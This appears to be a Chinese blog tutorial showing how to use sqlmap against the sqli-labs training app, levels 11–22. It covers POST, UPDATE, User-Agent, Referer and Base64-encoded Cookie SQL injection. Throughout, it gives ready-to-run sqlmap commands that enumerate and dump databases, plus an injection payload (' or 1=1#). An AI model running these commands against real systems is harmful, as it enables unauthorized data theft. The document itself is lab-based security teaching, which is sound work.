当前位置: 首页 > news >正文

SQLmap 通关 sqli-labs 系列(三):POST、UPDATE 与 HTTP 头注入

摘要:上一篇我们拿下了 GET 型注入的各种变体。现实世界的登录、搜索、用户中心几乎都使用 POST 方法传递数据,注入点还经常藏在 Cookie、User-Agent、Referer 等 HTTP 头中。本篇将用 SQLmap 彻底解决 Less-11 到 Less-22,涵盖 POST 报错注入、双注入、盲注、UPDATE 注入、User-Agent/Referer 注入、Cookie 注入以及 Base64 编码的 Cookie。我们将重点学习--data-r请求文件、--level--risk--tamper=base64encode等核心参数,让任何位置的注入点都无所遁形。


一、新场景:当注入点不在 URL 中

手工注入时,我们需要用 Burp Suite 抓包,修改 POST 数据或者头字段。SQLmap 同样需要知道完整的请求信息。它提供了两种方式:

  • --data:直接指定 POST 数据字符串。

  • -r:读取一个完整的 HTTP 请求文件。


二、POST 注入核心关卡:Less-11 到 Less-17

2.1 准备工作:抓取请求文件

首先,在浏览器中访问 sqli-labs,打开 Less-11 登录页面。用 Burp Suite 拦截登录请求(用户名 admin,密码 admin,提交),将截获的完整请求(包含 Host、Cookie、Content-Type 和 POST body)复制保存为less.txt。内容大致如下:

这就是我们日后反复使用的“模板”。每个关卡只需修改 URL 路径和请求体中的参数即可。

2.2 Less-11:POST 报错注入
sqlmap -r less.txt --batch --dbs

SQLmap 会测试unamepasswd,最终输出:

选择uname作为注入点,然后继续枚举表、列、数据:

sqlmap -r less.txt -D security --tables --batch sqlmap -r less.txt -D security -T users --columns --batch sqlmap -r less.txt -D security -T users --dump --batch

2.3 Less-12:POST 括号双引号

抓取 Less-12 的登录请求,修改less.txt

命令不变:

sqlmap -r less.txt --batch --dbs

SQLmap 自动用")闭合,无需人工干预。

2.4 Less-13 和 Less-14:POST 双注入

Less-13 为单引号括号双注入,Less-14 为双引号。同样使用-r文件:

sqlmap -r less.txt --batch --dbs

皆可秒破。

2.5 Less-15 和 Less-16:POST 盲注
sqlmap -r less.txt --technique B --batch --dbs //布尔盲注
sqlmap -r less.txt --technique T --time-sec 2 --batch --dbs //时间盲注

可指定,盲注过程稍长,耐心等待即可。

2.6 Less-17:UPDATE 注入(密码修改)

这一关是修改密码的表单,后台执行UPDATE users SET password='...' WHERE username='...',注入点在用户名处。抓取修改密码的请求(提供新密码),保存为less.txt,然后:

sqlmap -r less.txt --batch --dbs

SQLmap 会发现uname参数存在注入。注意,这里因为执行的是 UPDATE,可能存在数据变更风险,但 sqli-labs 可随时重置。


三、HTTP 头注入:Less-18 和 Less-19

3.1 升级探测等级:--level--risk

SQLmap 默认只测试 GET 和 POST 参数(--level 1)。要测试其他位置,必须提高 level:

  • --level 2:增加Cookie测试。

  • --level 3:增加User-AgentReferer测试。

  • --level 4-5:测试更多 Header。

--risk是风险等级,值越高,Payload 越激进(如使用 OR、SLEEP 等),在 sqli-labs 中我们可放心使用--risk 2或 3。

3.2 Less-18:User-Agent 注入

关卡行为:登录成功后,页面会将你的 User-Agent 和 IP 插入数据库。注入点在User-Agent头。

sqlmap -r less.txt --level 3 --risk 2 --batch --dbs

SQLmap 在测试User-Agent参数时会输出:

避坑指南:如果没测出,多半是 Cookie 已过期,导致登录状态失效,页面没有执行 INSERT 操作。务必使用刚登录后的有效请求。

3.3 Less-19:Referer 注入

与 Less-18 几乎一样,只是注入点换成了Referer头。抓取任意包含 Referer 的请求,保存为less.txt,然后用同样命令:

sqlmap -r less.txt --level 3 --risk 2 --batch --dbs


四、Cookie 注入:Less-20、Less-21、Less-22

4.1 Less-20:明文 Cookie 注入

登录后,Less-20 将用户名存入 Cookie(uname=admin),并在查询时拼接。在--level 2下,Cookie 会被测试。直接用--cookie参数:

sqlmap -u "http://192.168.137.1/sqli-labs/Less-20/" --cookie="uname=admin" --level 2 --batch --dbs

4.2 Less-21:Cookie Base64 编码注入

后台逻辑:base64_decode($_COOKIE['uname'])后拼入 SQL。直接送' or 1=1#会因编码失效。我们需要使用 Tamper 脚本base64encode,它在 Payload 发送前先进行 Base64 编码。

sqlmap -u "http://192.168.137.1/sqli-labs/Less-21/" --cookie="uname=admin" --tamper=base64encode --level 2 --batch --dbs

你会看到提示加载了base64encode模块,随后注入成功。

4.3 Less-22:Cookie Base64 双引号

闭合方式不同,但方法完全一样:

sqlmap -u "http://192.168.137.1/sqli-labs/Less-22/" --cookie="uname=admin" --tamper=base64encode --level 2 --batch --dbs


五、总结

通过本文,你将 POST 注入、UPDATE 注入、HTTP 头注入、Cookie 注入尽数掌握。核心要点回顾:

  • -r文件保存完整请求,可复用 Cookie 和所有 Header。

  • 灵活运用--level--risk扩大测试范围。

  • 遇到 Base64 编码,用--tamper=base64encode一键适配。

真正的强大,在于知道工具背后发生了什么。当你看着 Tamper 脚本变形 Payload 时,请回想手工注入的奇技淫巧,它们本是一脉相承。


重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

http://www.jsqmd.com/news/1074975/

相关文章:

  • 魔兽世界API与宏命令一站式解决方案:从插件开发到游戏优化的完整指南
  • AWVS实战:从自动化扫描到手动验证的Web漏洞评估闭环
  • SQL Server RAG 笔记1:图数据库构建
  • 终极Office激活钩子:革命性免费解锁Microsoft 365完整功能
  • Windows X-Lite 26H1 V3 第三方精简系统说明与完整安装实操指南
  • 听了一半的播客做个手势就传到平板继续听——鸿蒙隔空投送让内容跟着人走
  • 四个代码知识图谱项目对比:Understand-Anything、codegraph、GitNexus、codebase-memory-mcp 怎么选?
  • 番茄小说下载器:三步打造个人数字图书馆的免费神器
  • 腾讯AI应用开发一面,我懵了!!!
  • 【AI技术实战】企业级AI Agent平台搭建指南:从小鹏汽车“灵犀“看Agentic AI落地实践
  • 洛谷 P1866:编号 ← 排序
  • Kinovea运动分析软件:从入门到精通的完整指南
  • 被顶级AI实验室青睐的6所‘机器学习学校’实操指南
  • 在普通CPU上跑通Vicuna大模型的实战指南
  • VMware虚拟机启动报“Failed to start virtual machine”?资深架构师手把手复现+定位+修复(含12个真实客户案例脱敏分析)
  • 如何免费获取百度文库等30+平台文档:kill-doc终极指南
  • FFmpegGUI终极指南:如何用可视化界面轻松处理视频音频文件
  • 实战指南:深度解析Sunshine自托管游戏串流服务器的架构与应用
  • 5大优势揭秘:Ai2Psd终极指南助你实现AI到PSD完美转换
  • 全网热门车载音乐免费下载,无损品质资源!
  • Gemini API生产级落地指南:多模态调用、认证配置与响应解析
  • 小产坐月子十大忌讳有哪些?科学人流术后恢复指南
  • 阿里面试官笑了!连 Graph RAG 都不懂!!
  • 抖音无水印视频下载终极指南:3步实现批量下载与完整内容保存
  • 如何通过5个步骤绕过iOS 15-16激活锁:AppleRa1n开源工具详解
  • Nginx限流配置实战:保护你的个人项目
  • Multilogin 替代方案选型:团队环境、任务日志和交接字段怎么检查
  • 国内网络环境下的 Docker 镜像迁移与加速实战:用 Skopeo 替代 docker pull + docker tag + docker push
  • DCGAN六条铁律:解决模式坍缩与生成不稳的工程实践指南
  • 我怎么把上线前检查整理成一个交付 Skill